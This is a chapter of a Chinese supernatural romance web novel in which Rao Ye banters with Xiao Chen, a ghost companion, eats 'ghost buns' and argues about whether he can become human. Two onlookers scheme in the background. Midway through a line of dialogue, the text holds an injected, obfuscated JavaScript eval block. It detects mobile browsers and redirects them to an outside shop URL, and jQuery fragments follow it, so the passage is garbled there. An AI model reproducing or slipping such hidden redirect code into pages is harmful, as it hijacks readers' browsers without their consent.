萧尘看着她的神情，又联想起方才的事，果断拒绝：“我只服侍你一个人。”
饶叶促狭的心思一起便难收回，她死命压着唇角，拍着他的手，一副哥俩好的样子：“我懂我懂，但是你知道吗，现在这个社会，美貌可是硬通货，尤其是你这么……帅气又漂亮的，男孩子，很抢手的！”
萧尘脸色更难看了，他紧攥手心，后牙紧咬，一字一顿道：“我不愿意。”
饶叶勾了一把他的发尾，在手指上绕圈：“你不是说我想要什么，你都会寻来给我吗？”
萧尘气得胸膛都在剧烈起伏，紧盯着她，眼神中晦暗不明：“这就是你想要的？”
饶叶见要玩脱，赶忙投降：“我开玩笑的哥，你冷静……”
萧尘仍旧盯着她不放，只是面色稍霁。
饶叶被他看得心脏狂跳，捏着声软语道：“哥哥，我真开玩笑的，你别生气……”
那调，她给自己说得都起鸡皮疙瘩，这色鬼倒是十分受用，他一把将人带到怀里：“以后不许开这种玩笑。”
饶叶故意又凑上去，流氓一样朝他轻吹了一声口哨：“真是可惜啊……”
腰上被不轻不重捏了一把，饶叶忍不住打了个颤，忙按住他的手，警告道：“光天化日，朗朗乾坤，不要搞事。”
萧尘低头朝她笑，那笑看得她有点大事不妙。
远处有音乐声传来，好像是谁在弹吉他唱歌，围着一圈人。
饶叶拉着他往前跑：“走走走，去看看。”
一个大叔，和另一个大叔。
一个站在麦克风前，身上挂着一把吉他，一个坐在架子鼓前，手里拿着两根鼓棒。
地上有个打开的琴包，里面躺着一堆纸币，上头压着一个二维码。
不需要乐谱，各种经典曲目信手拈来，嗓音虽沙哑，却别有一番风味，唱得也好。
饶叶拉着萧尘，挤在人群的缺口处，津津有味地听着。
一个大爷走上去，朝琴包里放了张红色毛爷爷。
“忘情水。张学友的。”
那大爷的神态，姿态，都十分桀骜不羁，却点了一首“忘情水”，周遭人都笑发出小声的“哇”。
饶叶也不例外，她用手肘戳了戳萧尘：“所以大爷也有忘不掉的情啊……”
萧尘笑得无奈，抬手顺了顺她的后脑勺。
她扭头避开摸。
“你怎么，这手法，跟摸狗似的？”
“你不喜欢？”
当然不是。
萧尘又摸了摸，还绕到她身后，背拥着她：“口是心非。”
饶叶手臂朝后就是一顶：“我可什么都没说，你这色鬼。”
他的下巴顶在她的头上，轻蹭着，两个人又听了好一会，直到寒风吹得饶叶脸有点疼，她才捂住脸转头看他：“我又饿了，去找点什么吃吧。”
萧尘很喜欢她挽着自己的胳膊，便主动把她的手臂绕上来。
饶叶倒也没在意，一边低头看手机，一边跟他走。
“吃什么呢？我也好久没在外面吃饭了……”她划拉着页面自言自语，“火锅，烤肉，新疆菜，云南菜，川菜……也不是饭点，怎么个个都要等位啊……”
身边的人忽然停下。
饶叶转过头看他，只见萧尘直直地盯着前方看，她顺着他的视线望过去。
马路对面，转角处，一个黑色匾牌，刻着三个大字。
“鬼包子？”饶叶震惊，“这是专门给你们吃的包子？”
有路人闻声朝她们望来，饶叶连忙放低了声音，问：“里头不会装得是人肉馅吧……”
萧尘掐住她的脸，笑得有点危险：“吃一个试试不就知道了。”
饶叶根本不怕他，就是在逗他玩：“那正好，每个口味都来一个。”
排了一小会队，饶叶拎着一提包子，两个人找个了公园长椅坐下。
枫叶已经完全红了，而且开始卷边，下午的阳光正好，打在半边枫叶和亭子顶，许多路过的人都会举起手机拍照。
仔细闻的话，也许能闻到深秋特有的味道。
不过此时，都被那袋子里热气腾腾的包子香覆盖了。
“来，一人一半，先尝尝这个酱肉的。”
饶叶和萧尘坐着一边尝，一边吃。
她煞有其事品了会：“我觉得不是人肉。”
萧尘也跟着咬了一口：“确实不是，人肉比这个更鲜。”
站她们面前的大妈正举着手机拍照，听到这话，猛地扭头看过来。
饶叶吓得差点没被这一口包子送走，她捶着胸口咳得脸都通红，她没忍住也给了萧尘一拳头。
萧尘顺着她的背，一脸人畜无害：“慢点，又不是人……”
饶叶赶忙用包子塞他嘴：“我看你需要快点吃，把嘴堵上。”
一共9个包子，她们坐着晒着太阳，偶尔聊两句，竟然全都给吃完了。
夕阳晒在身上暖乎乎的，饶叶靠在萧尘肩上发饭晕，最后他说什么，她都听不太清了。
只记得，包子很好吃，有一股松针的味道，像是被掩盖住的深秋，香气又弥散开来。
远处，有两个人影，站在不起眼的地方，正注视着依偎在一起的这两人。
“若我说，你要是真的担心自己被有心人捏住把柄，不如趁早收回的好。你这样天天看着他们这样，不是给自己找罪受吗？”
穿着红色高跟鞋的女人双手交叉在胸前，姿态尊贵，表情不屑。
长发男人注视着这一幕，没有回答。
“而且，我看他身上已经炼化出第一团魂火，想来也不是个脑子愚钝的，等届时真让他炼出三魂七魄，可就不再是你千年前剥离出去的一缕残魂了。”她对着阳光看了看自己的指甲，像是轻轻叹了口气，“而且，这事儿又不是没有先例，我不懂，你究竟在犹豫什么。”
日头渐渐西斜，他们的影子落在身后的石板路上，越拉越长。
萧尘轻轻拍了拍靠在他肩膀上睡得正香的人，饶叶伸了个懒腰，两个人一起走到路边坐上了车。
很快，那车消失在了他的视野中。
“豆蔻。”
女人抬眼看他。
“帮我做件事。”他说。
她脸上渐渐晕开了笑意：“月黑风高夜，你想让我做什么？”
两人回到家里，饶叶晕车晕得想吐，脚站在地上感觉都跟踩棉花一样。
“来，喝点水。”萧尘把杯子递到她嘴边。
饶叶喝了几口，忽然想起了什么，从脸一路红到耳朵尖。
萧尘看着她慢慢烧起来的脸：“别太担心，昨夜，我虽然吸取了你的精气，但是并不会对你造成什么伤害……”
饶叶一把揪住他的领子：“你小子天天这么说，我都快ptsd了！”
“我会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018905|193973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等到你完全养好精神的。”
饶叶看他面不改色心不跳的，羞愤直冲脑门：“你该不会是从未来穿越过来的吧，这种事情还拿到明面上来说！”
萧尘：“这里只有你和我，也不算是明？”
饶叶：“当着我面说了还不明！你还要怎么算明！”
萧尘想了想，问：“你昨夜可是哪里不满意？”
饶叶：“……”
“咱，能，不，说，这个吗？”
萧尘见她面色青红交加，想伸手去抱她抚慰，被饶叶一拳抵住胸口：“我突然想起来，你集齐魂火后，是不是就彻底变成人了？还是……”
还是保留现状，只能依靠她而活。
“不论我变成什么样，我都不会离开你。”
饶叶猛地起身，扣着他的肩，二人位置颠倒，小臂横在他咽喉处，将人抵在沙发上。
“不许兜圈子，告诉我。”
萧尘双手扶住她的腰，抬眼看她：“你希望我变成人吗？”
饶叶声音又提高了两度：“说了不许兜圈子！再不回话你今晚滚出去和西北风缠绵吧！”
“我不知道。”他说，“这只是我的猜测，如果我有了完整的魂魄，能自己生出血肉，那我便可以成为真正的人，若我还是只能依附于你，那我永远都是一只游魂。”
他说得诚恳，饶叶稍微松开了些力气。
“没有人想一直依附于别人吧。”她说。
饶叶起身坐在沙发上：“我也希望你能成为一个真正的人。”
萧尘看着她，没有说话。
“你那什么眼神？”她不满道，“怎么了，难道我在你心里就是个十恶不赦的大地主啊，天天就想着怎么剥削你是不？看我跟看鬼一样！咱俩到底谁是鬼啊？”
萧尘慢慢搂住她，饶叶挣扎，又被他抓住手一点点收在自己怀里。
“我没有这么想。”他说着，声音里带了点别样的情绪。
饶叶还在推他。
“饶叶。”他俯在她肩窝处，低声叫她的名字。
饶叶自己那股莫名来的脾气听到这声，也渐渐消散。
“干嘛，叫魂呢。”
他却没声了。
饶叶直觉他想说什么比较重要的事情。
“有话说，有屁放。”她煞有其事道，“人和人交往，最忌讳，自以为是，不以为然。有啥就说啥，人长嘴就是用来说的，沟通很重要！”
萧尘慢慢直起身，看她：“我钟情于你，我会一直陪着你。”
饶叶：“……不要说废话。”
“不是废话。”他牵起她的手，在手背轻轻一吻，“晚上想吃什么，我去做点。”
饶叶一把捏住他的脸，眯起眼睛：“我早就想说了，不允许你再用这一招，有什么事情就说，有问题就解决，有情绪就消化，你天天动不动就做饭喂食的，拿我当猪呢！”
萧尘摸了摸她的肚子：“饭吃饱，烦恼全消。”
饶叶一巴掌拍在他手背上：“这是两码事！”
“鱼汤怎么样？”
饶叶：“……都说了，不许岔开话题。你刚刚到底想说什么，再不说我真要生气了。”
两人四目相对。
“我有个问题想……”
“说！”
萧尘定定地看着她，像是要从她的眼底看向她的心底。
“你害怕失去我吗？”